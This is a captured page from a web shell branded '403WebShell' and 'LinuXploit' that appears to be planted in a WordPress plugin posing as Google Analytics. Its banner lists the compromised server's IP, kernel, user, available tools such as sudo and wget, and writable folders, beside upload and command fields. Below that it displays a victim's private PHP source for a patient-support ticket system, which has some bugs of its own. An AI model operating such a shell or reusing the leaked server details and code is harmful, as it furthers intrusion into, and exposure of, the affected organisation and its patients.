Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_support/modules/ticket/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_support/modules/ticket/model/ticket_model.php
<?php

use ZBateson\MailMimeParser\Header\HeaderConsts;

require_once __DIR__ . '/messagebody_model.php';

class Ticket_model extends Database_Model {

	protected $ticketnum;
	protected $TICKET;
	protected $model_customer;
	protected $model_project;
	protected $model_status;
	protected $model_priority;
	protected $hostname;
	
	const SYMBOLS = 'BCDFGHJKLMNPQRSTVWXYZ';
	const PLACEHOLDER = '# Please type your reply above this line #';

	function __construct() {
		parent::__construct();
		$this->level = isset($_SESSION['current_user']) ? $_SESSION['current_user']['u_level'] : 0;
		$this->user_id = isset($_SESSION['current_user']) ? $_SESSION['current_user']['u_id'] : 0;
		$this->SETTINGS = $GLOBALS['loader']->LoadModuleSettings(__FILE__);
	}

	public function AssembleFieldlist($priority) {		// assemble the form, put in default values
		$fieldlist = [];
		// create default fields.
		$fieldlist[] = [
			'type' => 'string', 
			'id' => 'name', 
			'name'=>'name', 
			'caption' => 'Name', 
			'required' => TRUE,
		];
		$fieldlist[] = [
			'type' => 'email', 
			'id' => 'email', 
			'name'=>'email', 
			'caption' => 'E-mail', 
			'required' => TRUE,
		];
/*		$fieldlist[] = [				// we don't do anything with this yet.
			'type' => 'tel',  
			'id' => 'phone', 
			'name'=>'phone', 
			'caption' => 'Phone', 
			'required' => FALSE,
		]; */
		$fieldlist[] = [
			'type' => 'select', 
			'id' => 'priority', 
			'name'=>'priority', 
			'caption' => 'Priority', 
			'required' => FALSE,
			'options' => $priority,
		];
		$fieldlist[] = [
			'type' => 'string', 
			'id' => 'subject', 
			'name' => 'subject', 
			'caption' => 'Short Description of the Problem', 
			'required' => FALSE,
		];
		$fieldlist[] = [
			'type' => 'text',   
			'id' => 'content', 
			'name'=>'content', 
			'caption' => 'Please explain the issue you\'re experiencing (with as much detail as possible)', 
			'required' => TRUE,
		];

		// add ability to upload attachments
		return $fieldlist;
		
	}

	public function ModelCustomer() {
		if (func_num_args()) {
			$this->model_customer = func_get_arg(0);
			return $this;
		}
		return $this->model_customer;
	}
	
	public function ModelProject() {
		if (func_num_args()) {
			$this->model_project = func_get_arg(0);
			return $this;
		}
		return $this->model_project;
	}

	public function ModelStatus() {
		if (func_num_args()) {
			$this->model_status = func_get_arg(0);
			return $this;
		}
		return $this->model_status;
	}

	public function ModelPriority() {
		if (func_num_args()) {
			$this->model_priority = func_get_arg(0);
			return $this;
		}
		return $this->model_priority;
	}
	
	public function Hostname() {
		if (func_num_args()) {
			$this->hostname = func_get_arg(0);
			return $this;
		}
		return $this->hostname;
	}
	

// add a ticket
	public function TicketNumber() {
		if (func_num_args()) {
			$this->ticketnum = trim(func_get_arg(0));
			if ($this->ticketnum == '') {
				$this->ticketnum = $this->_allocateNewTicketNum();
			}
			$this->Load();
			return $this;
		}
		return $this->ticketnum;
	}
	
	public function Ticket() {
		return $this->TICKET;
	}

// member area

	private function _allocateNewTicketNum() {
		$yy = gmdate('y');
		$selection = static::SYMBOLS;

		do {
			$number = $yy;
			for($i = 0; $i < 4; $i++) {
				$number .= $selection[mt_rand(0, strlen($selection) - 1)];
			}
			$data = $this->Query('select t_id from `ticket`')
						->where('t_number=%s', $number)
						->First();
			$found = !$data->empty();
		} while ($found);
		$this->TableName('ticket')
			->InsertOrUpdate([
				't_number' => $number,
			], [
				't_status'  => 'closed',			// default to closed
				't_client'  => NULL,
				't_created' => time(),
			]);
		return $number;
	}
	
	public function Load() {
		$this->TICKET = $this->TableName('ticket')
							->Query('select t.*,name_first,name_last,primary_email from `ticket` as t '.
									'left join `users` on user_id=t_client')
							->where('t_number=%s', $this->ticketnum)
							->First();
	}
	
	// get Sender email address from pkpCore
	public function getSender() {
		$settings = $this->SettingGet('config.module_info', NULL);
		$replyto = $settings['replyto'];
		
		$settings = $GLOBALS['loader']->LoadModuleSettings('pkpCore');
		$automated_sender = $settings['automated_sender'] ?? '';
		if (empty($automated_sender)) $automated_sender = $replyto;
		return $automated_sender;
	}
	
	public function sendEmail_create() {
		$this->Load();
		
		$data = [
			'ticketnum' => $this->ticketnum,
			'link' 		=> $this->hostname . '/t/' . $this->ticketnum,
			'auth'		=> rawurlencode(hook_execute('nonce.create', FALSE, 'ticket', $this->ticketnum, 86400 * 366)),
			'placeholder' => static::PLACEHOLDER,
		];
		$automated_sender = $this->getSender();
		$m = new \mailobject();
		$sendresult = $m->template('ticket::created')
			->to($this->TICKET->primary_email)
			->from($automated_sender)
			->data($data)
			->Send();
		$result = [];
		if (is_string($sendresult)) {
			$result['result'] = 17230;
			$result['message'] = $sendresult;
		} else {
			$result['debug'] = $sendresult;
		}
		return $result;
	}

	public function sendEmail_reply($message_id) {
		$data = [
			'ticketnum'   => $this->ticketnum,
			'link' 		  => $this->hostname . '/t/' . $this->ticketnum,
			'auth'		  => rawurlencode(hook_execute('nonce.create', FALSE, 'ticket', $this->ticketnum, 86400 * 366)),
			'subject'	  => $this->TICKET->t_subject,
			'placeholder' => static::PLACEHOLDER,
		];
		
		$msg = new MessageBody;
		$message = $msg->MessageId($message_id)
						->Load();
		$data['text'] = $message->tc_mimetype == 'text/html' ? 0 : 1;
		$data['content'] = $message->tc_content;
		
		$automated_sender = $this->getSender();
		$m = new \mailobject();
		$sendresult = $m->template('ticket::reply')
			->to($this->TICKET->primary_email)
			->from($automated_sender)
			->data($data)
			->Send();
		$result = [];
		if (is_string($sendresult)) {
			$result['result'] = 17231;
			$result['message'] = $sendresult;
		} else {
			$result['debug'] = $sendresult;
		}
		return $result;
	}
	
	// when extracting ticket number, it must be from the same email address??
	protected function extractTicketNumber($text) {
		$possibilities = [];
		preg_replace_callback('~\d{2}[' . static::SYMBOLS . ']{3,5}~i', function($m) use (&$possibilities) {
			$possibilities[] = $m[0];
		}, $text);
		
		
		if (!count($possibilities)) return FALSE;

		$ticket = $this->TableName('ticket')
						->Query('select t_id,t_number from `ticket`')
						->whereIn('t_number', $possibilities)
						->First();	
		return $ticket->empty() ? FALSE : $ticket->t_number;
	}

	public function ProcessEmail($message) {
		// get the sender email
		// add any cc to the ticket
		$email     = $message->getHeaderValue(HeaderConsts::FROM);
		$name      = $message->getHeader(HeaderConsts::FROM)->getPersonName();
		$subject   = $message->getHeaderValue(HeaderConsts::SUBJECT);
		$emailid   = $message->getHeaderValue(HeaderConsts::MESSAGE_ID);
				
		$text = $message->getHtmlContent();
		$contenttype = 'text/html';
		if (is_null($text)) {
			$text = $message->getTextContent();
			$contenttype = 'text/plain';
		}
		$p = strrpos($text, 'You received this message because you are subscribed to the Google Groups');
		if ($p !== FALSE) $text = substr($text, 0, $p);
		
		// get ticket number from subject
		$ticketnumber = $this->extractTicketNumber($subject);
		
		$isNew = $ticketnumber === FALSE;
		if ($isNew) {
			$client_id = $this->createNewTicket($email, $name, $subject);
			$ticketnumber = $this->TicketNumber();
		} else {
			$this->TicketNumber($ticketnumber);
			$client_id = $this->TICKET->t_client;
		}
		$msg = new MessageBody;
		$msg->MessageId(NULL)
			->MimeType($contenttype);
			
		if (!$isNew) {			// if this is a new request, we need to keep everything. Otherwise discard message history
			$text = $msg->DropHistory($text, static::PLACEHOLDER);
		}
		
		$msg->MessageId(NULL)
			->TicketId($this->TICKET->t_id)
			->Content($text)
			->EmailId($emailid)
			->DocType(1)
			->Author($client_id);
		$message_id = $msg->Save();
		
		// add all the attachments
		$attachments = $message->getAllAttachmentParts();
		$dir = HOME . '/storage/attachment/';
		foreach($attachments as $index => $attachment) {
			if (!$index) {
				if (!file_exists($dir)) mkdir($dir);
			}
			$content = $attachment->getBinaryContentStream();
			$content_id = $attachment->getHeaderValue('content-id');
			if (preg_match('~\<(.*)\>~', $content_id, $match)) {
				$content_id = $match[1];
			}
			$hash = hash('sha256',$content);
			// save attachment on filesystem
			if (!file_exists("$dir$hash")) {
				file_put_contents("$dir/$hash", $content);
			}
			// save attachment in database
			// to do: add thumbnail
			$x = $attachment->getHeaderParameter('content-disposition', 'filename');
			if (is_null($x)) {
				$x = $attachment->getHeaderParameter('content-type', 'name');
			}
			
			$this->TableName('ticket_attach')
				->InsertOrUpdate([
					'ta_conversation' => $message_id,
					'ta_hash'		  => $hash,
				], [
					'ta_filename'	=> $x ?? $content_id,
					'ta_filesize'   => strlen($content),
					'ta_contentid'  => $content_id,
					'ta_mimetype'	=> $attachment->getHeaderValue(HeaderConsts::CONTENT_TYPE),
				]);
			$this->DbErr();
		}

		if ($isNew) {
			$this->sendEmail_create();
		} else {
			$this->SaveField('status', $this->SETTINGS['reply_stat']);			// update the status to Open
		}
	}

	public function createNewTicket($email, $name, $subject, $priority = 0, $body = FALSE, $contenttype = 'text/plain') {
		$client_id = $this->model_customer->GetClientByEmail($email, $name);
		
		// save ticket - get ticketnumber
		$this->TicketNumber('');		// Create a new ticket
		$tix = $this->Ticket();
		$tix->t_subject = $subject;
		$tix->t_priority = $priority;
		$tix->t_client = $client_id;
		$tix->t_status = $this->SETTINGS['new_stat'];			// New
		$tix->SaveRecord(['t_number' => $this->TicketNumber()]);

		// save message body
		if ($body !== FALSE) {
			$msg = new MessageBody;
			$msg->MessageId(NULL)
				->TicketId($this->TICKET->t_id)
				->Content($body)
				->MimeType($contenttype)
				->DocType(1)
				->Author($client_id)
				->Save();
		}
		return $client_id;
	}
		
	protected function filesize_formatted($size) {
		$units = array( 'B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
		$power = $size > 0 ? floor(log($size, 1024)) : 0;
		return number_format($size / pow(1024, $power), 2, '.', ',') . ' ' . $units[$power];
	}
	
	protected function iconfrommimetype($mime) {
		switch(strtolower($mime)) {
			case 'image/jpeg':
			case 'image/png':
			case 'image/gif':
			case 'image/vnd.microsoft.icon':
			case 'image/bmp':
			case 'image/x-icon':
			case 'image/svg+xml':
				return 'fa-file-image';
				
			case 'video/mp4':
			case 'video/mpeg':
			case 'video/quicktime':
			case 'video/x-msvideo':
			case 'video/x-ms-wmv':
				return 'fa-file-video';
	
			case 'application/msword':
			case 'application/vnd.openxmlformats-officedocument.wordprocessingml.document':
				return 'fa-file-word';
				
			case 'application/vnd.ms-excel':
			case 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet':
				return 'fa-file-excel';
				
			case 'application/pdf':
				return 'fa-file-pdf';

			case 'text/plain':
				return 'fa-file-alt';
				
			case 'text/html':
			case 'application/xml':
				return 'fa-file-code';

			default:
				return 'fa-file';
		}
	}
	
	public function getAttachments() {
		$tix = $this->Ticket();
		$attachments = $this->Query('select distinct ta_hash, ta.* '.
									'from ticket_attach as ta '.
									'inner join ticket_line as tl on ta.ta_conversation=tl.tc_id ')
							->Where('tc_ticket=%d', $tix->t_id)
							->GroupBy('ta_hash')
							->OrderBy('tc_createdon')
							->Get();

		
		// attachments
		$attaches = [];
		foreach($attachments as $attach) {
			$icon = $this->iconfrommimetype($attach->ta_mimetype);
			$attaches[] = [
				'type'		=> 'icon',
				'filename'  => $attach->ta_filename,
				'icon'	    => "<i class=\"far $icon\"></i>",
				'size' 	    => $this->filesize_formatted($attach->ta_filesize),
				'item'		=> $attach->ta_conversation,
				'hash'		=> $attach->ta_hash,
			];
		}
		
		// unsaved attachments
		if (isset($_SESSION['upload'][$this->TicketNumber()])) {
			foreach($_SESSION['upload'][$this->TicketNumber()] as $hash => $entry) {
				$icon = $this->iconfrommimetype($entry['mime'] ?? 'application/octet-stream');
				$attaches[] = [
					'type'		=> 'icon',
					'draft'		=> 1,
					'filename'  => $entry['name'],
					'icon'	    => "<i class=\"far $icon\"></i>",
					'size' 	    => $this->filesize_formatted($entry['size']),
					'item'		=> -1,
					'hash'		=> $hash,
				];
			}
		}
		
		if (1) {		// only if editable
			$attaches[] = [			// space to upload a file
				'type'		=> 'file',
			];
		}
		return $attaches;
	}
	
	// retrieve all info
	public function AsHandlebars() {
		$tix = $this->Ticket();
		$this->Query('select t.*, '.
					'trim(concat(u.name_first, " ", u.name_last)) as _name '.
				'from `ticket_line` as t '.
				'left join `users` as u on u.user_id=tc_createdby '
				)
				->Where('tc_ticket=%d', $tix->t_id);
		if ($this->level < 2) {
			$this->Where('tc_type <> 0');
		}
						
		$content = $this->OrderBy('tc_id')
						->Get();

		$first = $content[0];
		
		// history
		$msg = new MessageBody;
		$history = [];
		for($i = count($content) - 1; $i >= 1; $i--) {
			$msg->ITEM($content[$i]);
			$history[] = $msg->AsArray();
		}
		
		
		$msg->ITEM($first);
		$data = [
			'number' 	 => $this->TicketNumber(),
			'subject' 	 => $tix->t_subject,
			'desc' 	     => $msg->AsArray(),
			'page_title' => $this->TicketNumber() . '. ' . $tix->t_subject,
		];
		if (count($history)) {
			$data['history'] = $history;
		}

		$attaches = $this->getAttachments();
		if (count($attaches)) {
			$data['attachment'] = $attaches;
		}
		// header
		$data['project']      = $tix->t_project;
		if (is_object($this->model_project)) {
			$data['project_desc'] = $this->model_project->AsDescription($tix->t_project);
			if ($this->level >= 2) {
				$data['list_project'] = $this->model_project->AsHandleBars();
			}
		}
		$data['status']      = $tix->t_status;
		if (is_object($this->model_status)) {
			$data['status_desc'] = $this->model_status->AsDescription($tix->t_status);
			if ($this->level >= 2) {
				$data['list_status'] = $this->model_status->AsHandleBars();
			}
		}
		
		$data['priority']      = $tix->t_priority;
		if (is_object($this->model_priority)) {
			$data['priority_desc'] = $this->model_priority->AsDescription($tix->t_priority);
		}
		
		return $data;
	}

	protected function LocateTemporaryImage($image_id) {
		$data = new \StdClass;
		$data->ta_hash = $image_id;
		$data->ta_mimetype = 'application/octet-stream';
		$data->ta_filename = $image_id;
		if (isset($_SESSION['upload'])) {
			foreach($_SESSION['upload'] as $ticket => $ticketinfo) {
				if (isset($ticketinfo[$image_id])) {
					$data->ta_mimetype = $ticketinfo[$image_id]['mime'] ?? 'application/octet-stream';
					$data->ta_filename = $ticketinfo[$image_id]['name'];
					break;
				}
			}
		}
		return $data;
	}
	
	public function InlineImage($item_id, $image_id) {
		$dir = HOME . '/storage/attachment/';
		if ($item_id == -1 && preg_match('~[0-9a-f]{64}~i', $image_id)) {		// a temporary image - not yet saved
			$dir = $dir = HOME . '/storage/file-upload/';
			$data = $this->LocateTemporaryImage($image_id);

		} elseif (preg_match('~[0-9a-f]{64}~i', $image_id)) {
			$data = $this->Query('select * from `ticket_attach`')
						->Where('ta_conversation=%d', $item_id)
						->Where('ta_hash=%s', $image_id)
						->First();
		} else {
			$data = $this->Query('select * from `ticket_attach`')
						->Where('ta_conversation=%d', $item_id)
						->Where('ta_contentid=%s', $image_id)
						->First();
		}
		if (method_exists($data, 'empty') && $data->empty()) {
			header('Content-type: text/plain');
			return 'Attachment not found';
		}		
		$hash = $data->ta_hash;
		if (!file_exists("$dir$hash")) {
			header('Content-type: text/plain');
			return 'Attachment is missing';
		}
		
		header('Content-type: ' . $data->ta_mimetype);
		header("Content-disposition: inline; filename=\"{$data->ta_filename}\"");
		return file_get_contents("$dir$hash");
	}
	
	private function datatableList_yourtickets() {
			// $this->user_id
		$rows = $this->Query('select * from `ticket`')
					->Where('t_client=%d', $this->user_id)
					->OrderBy('t_created desc')
					->Get();
		$output = [];
		foreach($rows as $row) {
			$output[] = [
				'priority' => $row->t_priority,
				'date'    => gmdate('Y-m-d H:i', $row->t_created),
				'ticket'  => $row->t_number,
				'subject' => $row->t_subject,
				'status'  => $row->t_status,
			];
		}
		return $output;
	}

	private function datatableList_new() {
			// $this->user_id
		$rows = $this->Query('select t.*,name_first,name_last from `ticket` as t '.
						'left join `users` on user_id=t_client')
					->Where('t_status=%s', 'new')
					->OrderBy('t_created desc')
					->Get();
		$output = [];
		foreach($rows as $row) {
			$output[] = [
				'priority' => $row->t_priority,
				'date'    => gmdate('Y-m-d H:i', $row->t_created),
				'ticket'  => $row->t_number,
				'subject' => $row->t_subject,
				'status'  => $row->t_status,
				'client'  => trim($row->name_first . ' ' . $row->name_last),
			];
		}
		return $output;
	}
	
	public function datatableList($action) {
		$data = NULL;
		switch($action) {
			case 'request': 
				$data = $this->datatableList_yourtickets();
				$this->model_status->ApplyStatus($data);
				break;

			case 'new':
				$data = $this->datatableList_new();
				$this->model_status->ApplyStatus($data);
				break;
			
			case 'open':
				$data = [];
				break;
		}
		return [ 'data' => $data ] ;
	}
	
	// attach newly uploaded files to the given message,
	// or if 0, then to the first.
	protected function ConfirmUpload($message_id) {
		$tix = $this->Ticket();
		if (!$message_id) {
			$this->Query('select * from ticket_line')
				 ->Where('tc_ticket=%d', $tix->t_id);
			if ($this->level < 2) {
				$this->Where('tc_type <> 0');
			}
			$first = $this->OrderBy('tc_ic')
							->Get()
							->First();
			$message_id = (int) $first->tc_id;
		}
		// foreach upload - add attachment record
		$ticketnum = $this->TicketNumber();
		if (isset($_SESSION['upload'][$ticketnum])) {
			foreach($_SESSION['upload'][$ticketnum] as $hash => $info) {
				// copy to attachments
				$source = HOME . '/storage/file-upload/';
				$target = HOME . '/storage/attachment/';
				copy($source . $hash, $target . $hash);

				$this->TableName('ticket_attach')
					->InsertOrUpdate([
						'ta_conversation' => $message_id,
						'ta_hash'		  => $hash,
					], [
						'ta_filename'	=> $info['name'],
						'ta_filesize'   => $info['size'],
						'ta_contentid'  => '',
						'ta_mimetype'	=> $info['mime'],
					]);
				$this->DbErr();
				
				unset($_SESSION['upload'][$ticketnum][$hash]);
			}
		}
	}

	public function AddReply($action, $message) {
		
		if ($message != '') {
			// action: comment email update
			switch($action) {
				case 'comment':		// staff adding a comment to ticket - client does not see it - ticket status does not change
					$msg = new MessageBody;
					$msg->MessageId(NULL)
						->TicketId($this->TICKET->t_id)
						->Content($message)
						->MimeType('text/plain')
						->DocType(0)
						->Author($this->user_id);
					$message_id = $msg->Save();
					$this->ConfirmUpload($message_id);
					return [];		// all ok
					
				case 'email':		// staff adding message to ticket - client emailed a copy - ticket status changes
					$msg = new MessageBody;
					$msg->MessageId(NULL)
						->TicketId($this->TICKET->t_id)
						->Content($message)
						->MimeType('text/plain')
						->DocType(-1)
						->Author($this->user_id);
					$message_id = $msg->Save();
					$this->SaveUpload($message_id);
					$this->ConfirmUpload('status', 'wait');
					// send email
					$result = $this->sendEmail_reply($message_id);
					return $result;		// send email, return email result

				case 'update':		// client adding to ticket. no email, ticket status changes
					$msg = new MessageBody;
					$msg->MessageId(NULL)
						->TicketId($this->TICKET->t_id)
						->Content($message)
						->MimeType('text/plain')
						->DocType(-1)
						->Author($this->user_id);
					$message_id = $msg->Save();
					$this->ConfirmUpload($message_id);
					$this->SaveField('status', $this->SETTINGS['reply_stat']);
					// send email to CCs?
					// send event?
					return [];
			}
		} else {
			$this->ConfirmUpload(0);		// save attachments to first message
		}
	}
	
	public function SaveField($name, $value) {
		$data = [];
		switch($name) {
			case 'status':
				$data['t_status'] = $value;
				break;
			case 'project':
				$data['t_project'] = $value;
				break;
		}
		$this->TableName('ticket')
			->InsertOrUpdate([
				't_number' => $this->TicketNumber(),
			], $data);
		$this->DbErr();
		return "1";
	}
	
	public function SaveUpload($FILE) {
		$dir = HOME . '/storage/file-upload/';
		// delete anything older than 1hr
		
		// save file in storage
		$content = file_get_contents($FILE['tmp_name']);
		$hash = hash('sha256',$content);
		file_put_contents($dir . $hash, $content);

		// update session - ticket, filename, hash
		$ticket = $this->TicketNumber();
		$_SESSION['upload'][$ticket][$hash] = [
			'name' => $FILE['name'],
			'size' => $FILE['size'],
			'mime' => $FILE['type'],
		];
	}

	public function RemoveUpload($hash) {
		$ticket = $this->TicketNumber();
		unset($_SESSION['upload'][$ticket][$hash]);
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit